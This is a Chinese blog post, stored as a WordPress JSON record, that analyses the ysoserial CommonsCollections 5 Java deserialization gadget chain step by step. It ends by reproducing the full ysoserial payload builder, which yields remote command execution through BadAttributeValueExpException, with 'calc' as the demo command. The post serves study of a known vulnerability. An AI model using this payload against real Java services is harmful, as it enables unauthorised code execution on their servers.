{"id":231,"date":"2022-02-12T19:36:07","date_gmt":"2022-02-12T11:36:07","guid":{"rendered":"https:\/\/aaaahui.top\/?p=231"},"modified":"2022-08-13T21:26:53","modified_gmt":"2022-08-13T13:26:53","slug":"cc5","status":"publish","type":"post","link":"https:\/\/ahui.blog\/index.php\/2022\/02\/12\/cc5\/","title":{"rendered":"\u5206\u6790CommonsCollections 5\u94fe\u7684\u6784\u9020\u4e0e\u6267\u884c\u903b\u8f91"},"content":{"rendered":"

\u524d\u8a00\uff1a\u63a5\u89e6java\u5b89\u5168\u6ca1\u591a\u4e45\uff0c\u62ffysoserial\u7684CC5\u94fe\u5206\u6790\u4e00\u4e0b\uff0c\u4ece\u6700\u7ec8\u6267\u884c\u547d\u4ee4\u7684\u70b9\u4e00\u6b65\u6b65\u5411\u524d\u53cd\u63a8\uff0c\u7ed9\u81ea\u5df1\u505a\u4e2a\u8bb0\u5f55\u3002<\/strong><\/p>\n

\u4e00\u3001\u547d\u4ee4\u6267\u884c\u7684\u5730\u65b9\u5728org.apache.commons.collections.functors.InvokerTransformer#transform<\/h4>\n
\u4ee3\u7801\uff1a<\/h5>\n
public Object transform(Object input) {\n    if (input == null) {\n        return null;\n    } else {\n        try {\n            Class cls = input.getClass();\n            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);\n            return method.invoke(input, this.iArgs);\n        } catch (NoSuchMethodException var5) {\n            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");\n        } catch (IllegalAccessException var6) {\n            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");\n        } catch (InvocationTargetException var7) {\n            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);\n        }\n    }\n}<\/code><\/pre>\n
\u5206\u6790\u4ee3\u7801\uff1a<\/h5>\n
\u4e3b\u8981\u5206\u6790try catch\u4e2d\u7684\u7b2c\u4e00\u5757\u5185\u5bb9\uff1a<\/strong><\/p>\n
Class cls = input.getClass() ;     \/\/\u53cd\u5c04\u83b7\u53d6\u4f20\u9012\u7684\u53c2\u6570\u7684\u7c7b\n\nMethod method = cls.getMethod(this.iMethodName, this.iParamTypes);     \/\/\u53cd\u5c04\u83b7\u53d6cls\u7684\u65b9\u6cd5\n\nreturn method.invoke(input, this.iArgs);     \/\/\u53cd\u5c04\u6267\u884c\u4e0a\u4e00\u6b65\u4e2d\u83b7\u5f97\u7684\u65b9\u6cd5<\/code><\/pre>\n
\u60f3\u8981\u5229\u7528\u4e0a\u9762\u7684\u4ee3\u7801\u6267\u884c\u4efb\u610f\u547d\u4ee4\uff0c\u53ef\u4ee5\u901a\u8fc7\u5982\u4e0b\u793a\u4f8b\u6267\u884c<\/p>\n
Class cls = Runtime.getRuntime().getClass() ;     \/\/\u53cd\u5c04\u83b7\u53d6\u4f20\u9012\u7684\u53c2\u6570\u7684\u7c7b\n\nMethod method = cls.getMethod("exec", new Class[]{String.class});     \/\/\u53cd\u5c04\u83b7\u53d6cls\u7684\u65b9\u6cd5\n\nreturn method.invoke(Runtime.getRuntime(), new String[]{"calc"});     \/\/\u53cd\u5c04\u6267\u884c\u4e0a\u4e00\u6b65\u4e2d\u83b7\u5f97\u7684\u65b9\u6cd5<\/code><\/pre>\n
\u5bf9\u6bd4\u4ee3\u7801\u53ef\u4ee5\u770b\u5230\uff0c\u53ea\u8981\u63a7\u5236input\u548cthis.iMethodName, this.iParamTypes,this.iArgs\u8fd9\u4e09\u4e2a\u53c2\u6570\u5c31\u53ef\u4ee5RCE\u4e86\uff0c\u800cInvokerTransformer\u7684\u6784\u9020\u65b9\u6cd5\u5c31\u662f\u521d\u59cb\u5316\u8fd9\u4e09\u4e2a\u53c2\u6570\u7684\uff0c\u6211\u4eec\u5728\u5b9e\u4f8b\u5316\u8fd9\u4e2a\u7c7b\u7684\u65f6\u5019\u4f20\u9012\u81ea\u5b9a\u4e49\u53c2\u6570\u5373\u53ef\uff0c\u4f46\u662f\u8fd9\u91cc\u7684input\u6211\u4eec\u9700\u8981\u7528\u5230\u7684Runtime\u7c7b\u4e5f\u4e0d\u80fd\u76f4\u63a5\u4f20\u9012\u5bf9\u8c61\uff0c\u9700\u8981\u901a\u8fc7\u53cd\u5c04\u8c03\u7528getRuntime\u65b9\u6cd5\u6765\u6784\u9020Runtime\u5bf9\u8c61\u3002<\/p>\n
\u8fd9\u91cc\u53ef\u4ee5\u901a\u8fc7\u53cd\u5c04\u6267\u884c\u4efb\u610f\u547d\u4ee4\uff0c\u4f46\u662f\u8fd9\u4e2a\u7c7b\u53cd\u5e8f\u5217\u5316\u8c03\u7528readObject\u65b9\u6cd5\u540e\u4e0d\u4f1a\u81ea\u52a8\u6267\u884ctransform\u65b9\u6cd5\uff0c\u6240\u4ee5\u76f4\u63a5\u53cd\u5e8f\u5217\u5316\u8fd9\u4e2a\u7c7b\u662f\u4e0d\u80fd\u9020\u6210RCE\u7684\uff0c\u6211\u4eec\u9700\u8981\u627e\u5176\u4ed6\u7684\u7c7b\u6216\u8005\u4e00\u6761\u94fe\u80fd\u53bb\u8c03\u7528transform\u65b9\u6cd5\u5e76\u4e14\u6700\u7ec8\u80fd\u591f\u5e8f\u5217\u5316\u3002<\/p>\n
\u4e8c\u3001CC5\u94fe\u7684\u7b2c\u4e8c\u6b65org.apache.commons.collections.functors.ChainedTransformer#transform<\/h4>\n
public ChainedTransformer(Transformer[] transformers) {\n    this.iTransformers = transformers;\n}\n\npublic Object transform(Object object) {\n    for(int i = 0; i < this.iTransformers.length; ++i) {\n        object = this.iTransformers[i].transform(object);\n    }\n\n    return object;\n}<\/code><\/pre>\n
\u4e0a\u9762\u7684\u4ee3\u7801\u4e2d\uff0corg.apache.commons.collections.functors.ChainedTransformer#transform\u4e2d\u8c03\u7528\u4e86transform\u65b9\u6cd5\uff0c\u5e76\u4e14this.iTransformers[i]\u5728\u6784\u9020\u65b9\u6cd5\u4e2d\u8fdb\u884c\u4e86\u521d\u59cb\u5316\uff0c\u4f7f\u6211\u4eec\u53ef\u4ee5\u4f20\u9012Transformer\u5bf9\u8c61\u6570\u7ec4\uff0c\u800c\u6211\u4eec\u7b2c\u4e00\u6b65\u4e2d\u7528\u5230\u7684InvokerTransformer\u7c7b\u4e5f\u5b9e\u73b0\u4e86Transformer\u63a5\u53e3\uff0c\u90a3\u4e48\u53ef\u4ee5\u5c06InvokerTransformer\u7684\u5b9e\u4f8b\u5316\u5bf9\u8c61\u52a0\u5230\u91cc\u9762\uff0c\u7136\u540e\u5728\u8c03\u7528ChainedTransformer\u7c7b\u7684transform\u65b9\u6cd5\u65f6\uff0c\u4f20\u9012\u8c03\u7528\u5230InvokerTransformer\u7684transform\u65b9\u6cd5\u3002<\/p>\n
\u5173\u952e\u70b9\uff1a\u6784\u9020payload\u7684\u6d41\u7a0b<\/strong><\/p>\n
\u5faa\u73af\u6267\u884c\u4f20\u5165\u7684transformers\u6570\u7ec4\u4e2d\u5bf9\u8c61\u7684transform\u65b9\u6cd5\uff0c\u6211\u4eec\u62ffpayload\u4e2d\u7684\u8fd9\u4e00\u90e8\u5206\u6765\u770b<\/p>\n
final Transformer[] transformers = new Transformer[] {\n                new ConstantTransformer(Runtime.class),\n                new InvokerTransformer("getMethod", new Class[] {\n                    String.class, Class[].class }, new Object[] {\n                    "getRuntime", new Class[0] }),\n                new InvokerTransformer("invoke", new Class[] {\n                    Object.class, Object[].class }, new Object[] {\n                    null, new Object[0] }),\n                new InvokerTransformer("exec",\n                    new Class[] { String.class }, execArgs),\n                new ConstantTransformer(1) };<\/code><\/pre>\n
\u6784\u9020\u7684transform\u5bf9\u8c61\u4e2d\u5305\u542b\u4e94\u4e2a\u5b9e\u4f8b\u5316\u7684\u7c7b\uff0c\u63a5\u7740\u6309\u7167\u4e0a\u9762\u7684\u6d41\u7a0b\u8fc7\u4e00\u904d\uff0c\u7531\u4e8e\u662ffor\u5faa\u73af\u8c03\u7528\u4f20\u5165\u7684\u7c7b\u7684transform\u65b9\u6cd5\uff0c\u90a3\u4e48\u5c31\u4e00\u4e2a\u7c7b\u4e00\u4e2a\u7c7b\u7684\u8fc7\u4e00\u904d\u3002<\/p>\n
\u628afor\u5faa\u73af\u62ff\u51fa\u6765\u65b9\u4fbf\u8fc7\u6d41\u7a0b\uff1a<\/p>\n
for(int i = 0; i < this.iTransformers.length; ++i) {\n        object = this.iTransformers[i].transform(object);\n    }<\/code><\/pre>\n
\u7b2c\u4e00\u6b65\uff1a<\/strong>new ConstantTransformer(Runtime.class)\uff0c\u4f1a\u81ea\u52a8\u8c03\u7528\u6b64\u7c7b\u7684\u6784\u9020\u65b9\u6cd5\uff0c\u5373ConstantTransformer(Runtime.class)\uff0c\u8ddf\u8fdb\u53bb<\/p>\n
public ConstantTransformer(Object constantToReturn) {\n    this.iConstant = constantToReturn;\n}\n\npublic Object transform(Object input) {\n    return this.iConstant;\n}<\/code><\/pre>\n
\u521d\u59cb\u5316this.iConstant\uff0c\u7d27\u63a5\u7740\u770b\u5230\u4e0b\u9762\u7684transform\u65b9\u6cd5\uff0c\u8fd9\u4e2a\u65b9\u6cd5\u662f\u5728ChainedTransformer\u7684transform\u65b9\u6cd5\u91cc\u7684for\u5faa\u73af\u4e2d\u8c03\u7528\u7684\uff0c\u90a3\u4e48\u6211\u4eec\u4f20\u5165ConstantTransformer\u5bf9\u8c61\uff0c\u9996\u5148\u8c03\u7528\u6784\u9020\u51fd\u6570\uff0c\u5c06\u6211\u4eec\u4f20\u5165\u7684\u53c2\u6570\u8d4b\u503c\u7ed9this.iConstant\uff0c\u7136\u540e\u518d\u8c03\u7528transform\u65b9\u6cd5\uff0creturn this.iConstant\uff0c\u800cpayload\u4e2d\u4f20\u5165\u7684\u53c2\u6570\u662fRuntime.class\uff0c\u90a3\u4e48return\u4e5f\u5c31\u662f\u76f4\u63a5return\u8fd9\u4e2aRuntime.class.<\/p>\n
\u7b2c\u4e8c\u6b65\uff1a<\/strong>\u7b2c\u4e00\u6b65\u7684\u7ed3\u6784\u662fRuntime.class\uff0c\u800c\u4e14\u770bfor\u5faa\u73af\u4e2d\u7684\u8bed\u53e5\uff0ctransformers\u6570\u7ec4\u7684\u7b2c\u4e8c\u4e2a\u5bf9\u8c61\u4f1a\u628a\u4e0a\u4e00\u6b21\u5faa\u73af\u7684\u7ed3\u679c\u4f5c\u4e3atransform\u7684\u53c2\u6570\u4f20\u5165\uff0c\u8fd9\u91cc\u5c31\u662f\u5728\u7b2c\u4e8c\u6b21\u5faa\u73af\u6267\u884ctransform\u65b9\u6cd5\u65f6\uff0c\u4f20\u5165 \u4e86Runtime.class\uff0c\u90a3\u4e48\u770btransforms\u7684\u7b2c\u4e8c\u4e2a\u5bf9\u8c61\u662f\u4ec0\u4e48\u2014\u2014<\/p>\n
new InvokerTransformer("getMethod", new Class[] {\n                    String.class, Class[].class }, new Object[] {\n                    "getRuntime", new Class[0] })<\/code><\/pre>\n
\u662fInvokerTransformer\u7684\u5b9e\u4f8b\u5316\u5bf9\u8c61\uff0c\u9996\u5148\u7528new\u5b9e\u4f8b\u5316\u5bf9\u8c61\u4f1a\u8c03\u7528\u6784\u9020\u51fd\u6570<\/p>\n
private InvokerTransformer(String methodName) {\n    this.iMethodName = methodName;\n    this.iParamTypes = null;\n    this.iArgs = null;\n}\n\npublic InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {\n    this.iMethodName = methodName;\n    this.iParamTypes = paramTypes;\n    this.iArgs = args;\n}<\/code><\/pre>\n
\u6784\u9020\u51fd\u6570\u6709\u4e24\u4e2a\u6709\u53c2\u6784\u9020\uff0c\u6839\u636e\u6211\u4eec\u4f20\u5165\u7684\u53c2\u6570\u81ea\u52a8\u9009\u62e9\uff0c\u90a3\u4e48\u6839\u636e\u6211\u4eec\u4f20\u5165\u7684\u53c2\u6570\uff0c\u81ea\u52a8\u9009\u62e9\u4e0b\u9762\u7684\u6784\u9020\u51fd\u6570<\/p>\n
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {\n    this.iMethodName = methodName;\n    this.iParamTypes = paramTypes;\n    this.iArgs = args;\n}<\/code><\/pre>\n
\u521d\u59cb\u5316\u4e86\u4e09\u4e2a\u53d8\u91cf\uff0c\u6839\u636e\u6211\u4eecnew\u65f6\u4f20\u5165\u7684\u53c2\u6570\uff0c\u6700\u7ec8\u521d\u59cb\u5316\u540e\u7684\u53c2\u6570\u5982\u4e0b<\/p>\n
    this.iMethodName = "getMethod";\n    this.iParamTypes = new Class[] {String.class, Class[].class};\n    this.iArgs = new Object[] {"getRuntime", new Class[0]};<\/code><\/pre>\n
\u7136\u540e\u5728for\u5faa\u73af\u5185\u8c03\u7528\u6b64\u7c7b\u7684transform\u65b9\u6cd5\uff08\u8fd9\u91cc\u7684input\u5c31\u662f\u4e0a\u4e00\u6b21\u5faa\u73af\u7684\u7ed3\u679c\u8d4b\u503c\u7ed9\u4e86object\uff0c\u4e5f\u5c31\u662fRuntime.class\uff09<\/p>\n
public Object transform(Object input) {\n        try {\n            Class cls = input.getClass();\n            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);\n            return method.invoke(input, this.iArgs);\n        } \n        ......<\/code><\/pre>\n
\u5c06\u53c2\u6570\u90fd\u5e26\u5165\u540e\u4e3a<\/p>\n
public Object transform(Object input) { \/\/input=Runtime.class\n        try {\n            Class cls = Runtime.class.getClass();\n            Method method = cls.getMethod("getMethod", new Class[] {String.class, Class[].class});\n            return method.invoke(Runtime.class, new Object[] {"getRuntime", new Class[0]});\n        } \n        ......<\/code><\/pre>\n
\u8fd9\u6837\u4e0b\u4e00\u6b21\u7684object\u5c31\u53d8\u6210\u4e86Runtime.getRuntime\u65b9\u6cd5<\/p>\n
\u7b2c\u4e09\u6b65\uff1a<\/strong>\u63a5\u7740\u8fdb\u5165\u4e0b\u4e00\u6b21\u5faa\u73af\uff0c\u6b64\u65f6object\u5df2\u7ecf\u53d8\u6210\u4e86Runtime.getRuntime()<\/p>\n
\u7136\u540e\u8c03\u7528transforms\u6570\u7ec4\u4e2d\u7684\u7b2c\u4e09\u4e2a\u5bf9\u8c61\u7684transform\u65b9\u6cd5<\/p>\n
\u8fd9\u91cc\u8fd8\u662f<\/p>\n
public Object transform(Object input) {\n        try {\n            Class cls = input.getClass();\n            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);\n            return method.invoke(input, this.iArgs);\n        } \n        ......<\/code><\/pre>\n
\u770b\u4e00\u4e0b\u4f20\u5165\u7684\u53c2\u6570<\/p>\n
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0]})<\/code><\/pre>\n
\u5e26\u5165transform\u65b9\u6cd5\u4e2d\u5c31\u662f<\/p>\n
public Object transform(Object input) {\n        try {\n            Class cls = Runtime.getRuntime().getClass();\n            Method method = cls.getMethod("invoke", new Class[] {\n                    Object.class, Object[].class });\n            return method.invoke(Runtime.getRuntime(), new Object[] {\n                    null, new Object[0] });\n        }\n        ......<\/code><\/pre>\n
\u4ee3\u7801\u4e2d\u7684cls\u5c31\u662fclass java.lang.reflect.Method\uff0c\u7136\u540emethod\u5c31\u662f<\/p>\n
public java.lang.Object java.lang.reflect.Method.invoke()\uff0c\u7b80\u5316\u4e00\u4e0b\u5c31\u662f<\/p>\n
public Object invoke()\uff0c\u4e5f\u5c31\u662f\u53cd\u5c04\u65f6\u7528\u5230\u7684invoke\u65b9\u6cd5\u3002<\/p>\n
\u518d\u5f80\u4e0b\u6709\u4e00\u70b9\u7ed5\uff0c\u76f8\u5f53\u4e8einvoke().invoke(Runtime.getRuntime(),new Object[]{null,new Object[0]})\uff0c\u5e94\u8be5\u76f8\u5f53\u4e8eRuntime.getRuntime().invoke(null)<\/p>\n
\u8fd9\u6837return\u7684\u5c31\u662f\u4e00\u4e2aRuntime\u7684\u5b9e\u4f8b\u5316\u5bf9\u8c61<\/p>\n
\u7b2c\u56db\u6b65\uff1a<\/strong>\u8fd9\u91cc\u5c31\u662f\u6700\u540e\u4e00\u6b65\u6267\u884c\uff0c\u8fd8\u662f\u8001\u6837\u5b50\uff0c\u8ddf\u4e00\u4e0b\u8fc7\u7a0b<\/p>\n
public Object transform(Object input) {\n        try {\n            Class cls = input.getClass();\n            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);\n            return method.invoke(input, this.iArgs);\n        } \n        ......<\/code><\/pre>\n
\u770b\u4e00\u4e0b\u4f20\u5165\u7684\u53c2\u6570\uff08\u8fd9\u91cc\u7684input\u5df2\u7ecf\u53d8\u6210\u4e86Runtime\u7684\u4e00\u4e2a\u5b9e\u4f8b\u5316\u5bf9\u8c61\u7528Runtime@obj\u4ee3\u66ff\uff09<\/p>\n
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})<\/code><\/pre>\n
\u5e26\u5165transform\u65b9\u6cd5\u4e2d\u5c31\u662f<\/p>\n
public Object transform(Object input) {\n        try {\n            Class cls = Runtime@obj.getClass();\n            Method method = cls.getMethod("exec", new Class[]{String.class});\n            return method.invoke(Runtime@obj,new String[]{"calc"});\n        }\n        ......<\/code><\/pre>\n
\u8fd9\u6837\u5c31\u53ef\u4ee5\u6e05\u6670\u7684\u770b\u5230\u53cd\u5c04\u6267\u884c\u4e86Runtime@obj.exec("clac")<\/p>\n
\u8fd9\u6837CC5\u94fe\u7684\u7b2c\u4e8c\u5757\u5c31\u5206\u6790\u5b8c\u4e86\uff0cCC\u94fe\u73b0\u5728\u6709\u5f88\u591a\u6761\u4e86\uff0c\u6709\u51e0\u6761\u94fe\u4e2d\u90fd\u7528\u5230\u4e86\u4ee5\u4e0a\u90e8\u5206\u3002<\/p>\n
\u4e09\u3001\u6267\u884c\u547d\u4ee4\u7684\u65b9\u6cd5\u627e\u5230\u4e86\uff0c\u73b0\u5728\u9700\u8981\u627e\u5230\u91cd\u5199\u7684readObject\u4e2d\u53ef\u4ee5\u76f4\u63a5\u6216\u95f4\u63a5\u8c03\u7528transform\u65b9\u6cd5\u7684\u7c7borg.apache.commons.collections.map.LazyMap#get<\/h4>\n
public Object get(Object key) {\n        if (!super.map.containsKey(key)) {\n            Object value = this.factory.transform(key);\n            super.map.put(key, value);\n            return value;\n        } else {\n            return super.map.get(key);\n        }\n    }<\/code><\/pre>\n
\u5728\u8fd9\u4e2a\u65b9\u6cd5\u4e2d\u8c03\u7528\u4e86transform\u65b9\u6cd5\uff0c\u800cthis.factory\u4e5f\u662f\u5728LazyMap\u7c7b\u7684\u6784\u9020\u65b9\u6cd5\u4e2d\u521d\u59cb\u5316\u7684\uff0c\u867d\u7136\u6b64\u7c7b\u7684\u6784\u9020\u65b9\u6cd5\u662fprocted\u7684\uff0c\u4f46\u7c7b\u4e2d\u63d0\u4f9b\u4e86\u516c\u5171\u7684decorate\u65b9\u6cd5\u53ef\u4ee5\u8fd4\u56de\u5b9e\u4f8b\u5316\u5bf9\u8c61\uff0c\u6240\u4ee5\u8fd9\u91cc\u4e5f\u5c31\u662f\u6211\u4eec\u53ef\u63a7\u7684\uff0c\u90a3\u4e48\u5c31\u53ef\u4ee5\u901a\u8fc7\u63a7\u5236this.factory\u6765\u6267\u884c\u6307\u5b9a\u5bf9\u8c61\u7684transform\u65b9\u6cd5\u3002<\/p>\n
\u56db\u3001\u76ee\u524dget\u53ef\u4ee5\u4f5c\u4e3a\u5229\u7528\u94fe\u7684\u4e00\u73af\uff0c\u4f46\u662f\u8fd8\u662f\u4e0d\u80fd\u591freadObject\u65f6\u81ea\u52a8\u8c03\u7528\uff0c\u6240\u4ee5\u8fd8\u9700\u8981\u627e\u5230\u95f4\u63a5\u8c03\u7528get\u65b9\u6cd5\u7684\u80fd\u591f\u88abreadObject\u7684\u81ea\u52a8\u8c03\u7528\u7684\u65b9\u6cd5org.apache.commons.collections.keyvalue.TiedMapEntry#toString->#getValue<\/h4>\n
\u901a\u8fc7toString\u53ef\u4ee5\u8c03\u7528getValue\uff0c\u800c\u901a\u8fc7getValue\u53ef\u4ee5\u8c03\u7528get\u65b9\u6cd5<\/p>\n
public Object getValue() {\n    return this.map.get(this.key);\n}\n\n......\npublic String toString() {\n        return this.getKey() + "=" + this.getValue();\n}<\/code><\/pre>\n
\u9700\u8981this.map\u53ef\u63a7<\/p>\n
public TiedMapEntry(Map map, Object key) {\n    this.map = map;\n    this.key = key;\n}<\/code><\/pre>\n
\u6784\u9020\u51fd\u6570\u521d\u59cb\u5316\u65f6\u662f\u53ef\u63a7\u7684<\/p>\n
\u4e94\u3001\u63a5\u7740\u627ereadObject\u53ef\u4ee5\u81ea\u52a8\u8c03\u7528toString\u7684\uff0c\u4e5f\u662fCC5\u94fe\u7684\u6700\u540e\u4e00\u73af\u2014\u2014BadAttributeValueExpException#readObject<\/h4>\n
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {\n        GetField var2 = var1.readFields();\n        Object var3 = var2.get("val", (Object)null);\n        if (var3 == null) {\n            this.val = null;\n        } else if (var3 instanceof String) {\n            this.val = var3;\n        } else if (System.getSecurityManager() != null && !(var3 instanceof Long) && !(var3 instanceof Integer) && !(var3 instanceof Float) && !(var3 instanceof Double) && !(var3 instanceof Byte) && !(var3 instanceof Short) && !(var3 instanceof Boolean)) {\n            this.val = System.identityHashCode(var3) + "@" + var3.getClass().getName();\n        } else {\n            this.val = var3.toString();\n        }\n\n    }<\/code><\/pre>\n
\u8fd9\u91cc\u53cd\u5e8f\u5217\u5316\u65f6\u4f1a\u81ea\u52a8\u8c03\u7528var3.toString()\uff0c\u8fd9\u4e2a\u7c7b\u4e5f\u662f\u6211\u4eec\u6700\u7ec8\u9700\u8981\u5e8f\u5217\u5316\u7684\u7c7b\uff0c\u628a\u6700\u540eval\u5c5e\u6027\u8bbe\u7f6e\u4e3a\u4e0a\u9762\u7684\u4e0a\u9762\u7684TiedMapEntry\u6784\u9020\u7684\u7c7b\u5c31\u597d\u4e86\uff0c\u524d\u9762\u7684\u5c5e\u6027\u4e5f\u662f\u9010\u5c42\u8bbe\u7f6e\uff08new\u5bf9\u8c61\u7684\u65f6\u5019\u628a\u5c5e\u6027\u7ed9\u6784\u9020\u65b9\u6cd5\uff09<\/p>\n
\u8fd9\u91cc\u6709\u4e00\u4e2a\u70b9\u5c31\u662fBadAttributeValueExpException\u7684\u6784\u9020\u51fd\u6570<\/p>\n
public BadAttributeValueExpException(Object var1) {\n    this.val = var1 == null ? null : var1.toString();\n}<\/code><\/pre>\n
\u5728\u6267\u884c\u65f6\u4f1a\u5224\u65advar1\u662f\u5426\u4e3a\u7a7a\uff0c\u5982\u679c\u4e0d\u4e3a\u7a7a\u5219\u5148\u6267\u884c\u4e00\u6b21toString()\uff0c\u90a3\u4e48\u5728\u53cd\u5e8f\u5217\u5316\u7684\u65f6\u5019\u5c31\u8fc7\u4e0d\u4e86\u4e0a\u9762readObject\u65b9\u6cd5\u7684\u7b2c\u4e00\u4e2aelse if\uff0c\u4e5f\u5c31\u4e0d\u4f1a\u518d\u8c03\u7528toString()\u4e86\uff0c\u6240\u4ee5\u6211\u4eec\u6784\u9020payload\u7684\u65f6\u5019\u8981\u5229\u7528\u53cd\u5c04\u53bb\u8bbe\u7f6eval\u7684\u503c\u3002<\/p>\n
payload from ysoserial\uff1a<\/p>\n
public BadAttributeValueExpException getObject(final String command) throws Exception {\n        final String[] execArgs = new String[] { command };\n        \/\/ inert chain for setup\n        final Transformer transformerChain = new ChainedTransformer(\n                new Transformer[]{ new ConstantTransformer(1) });\n        \/\/ real chain for after setup\n        final Transformer[] transformers = new Transformer[] {\n                new ConstantTransformer(Runtime.class),\n                new InvokerTransformer("getMethod", new Class[] {\n                    String.class, Class[].class }, new Object[] {\n                    "getRuntime", new Class[0] }),\n                new InvokerTransformer("invoke", new Class[] {\n                    Object.class, Object[].class }, new Object[] {\n                    null, new Object[0] }),\n                new InvokerTransformer("exec",\n                    new Class[] { String.class }, execArgs),\n                new ConstantTransformer(1) };\n\n        final Map innerMap = new HashMap();\n\n        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);\n\n        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");\n\n        BadAttributeValueExpException val = new BadAttributeValueExpException(null);\n        Field valfield = val.getClass().getDeclaredField("val");\n        Reflections.setAccessible(valfield);\n        valfield.set(val, entry);\n\n        Reflections.setFieldValue(transformerChain, "iTransformers", transformers); \/\/ arm with actual transformer chain\n\n        return val;\n    }<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
\u524d\u8a00\uff1a\u63a5\u89e6java\u5b89\u5168\u6ca1\u591a\u4e45\uff0c\u62ffysoserial\u7684CC5\u94fe\u5206\u6790\u4e00\u4e0b\uff0c\u4ece\u6700\u7ec8\u6267\u884c\u547d\u4ee4\u7684\u70b9\u4e00\u6b65\u6b65\u5411\u524d\u53cd\u63a8\uff0c\u7ed9\u81ea\u5df1 … \u9605\u8bfb\u66f4\u591a<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[21],"class_list":["post-231","post","type-post","status-publish","format-standard","hentry","category-recurrence_analysis","tag-analysis"],"_links":{"self":[{"href":"https:\/\/ahui.blog\/index.php\/wp-json\/wp\/v2\/posts\/231","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ahui.blog\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ahui.blog\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ahui.blog\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/ahui.blog\/index.php\/wp-json\/wp\/v2\/comments?post=231"}],"version-history":[{"count":3,"href":"https:\/\/ahui.blog\/index.php\/wp-json\/wp\/v2\/posts\/231\/revisions"}],"predecessor-version":[{"id":237,"href":"https:\/\/ahui.blog\/index.php\/wp-json\/wp\/v2\/posts\/231\/revisions\/237"}],"wp:attachment":[{"href":"https:\/\/ahui.blog\/index.php\/wp-json\/wp\/v2\/media?parent=231"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ahui.blog\/index.php\/wp-json\/wp\/v2\/categories?post=231"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ahui.blog\/index.php\/wp-json\/wp\/v2\/tags?post=231"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}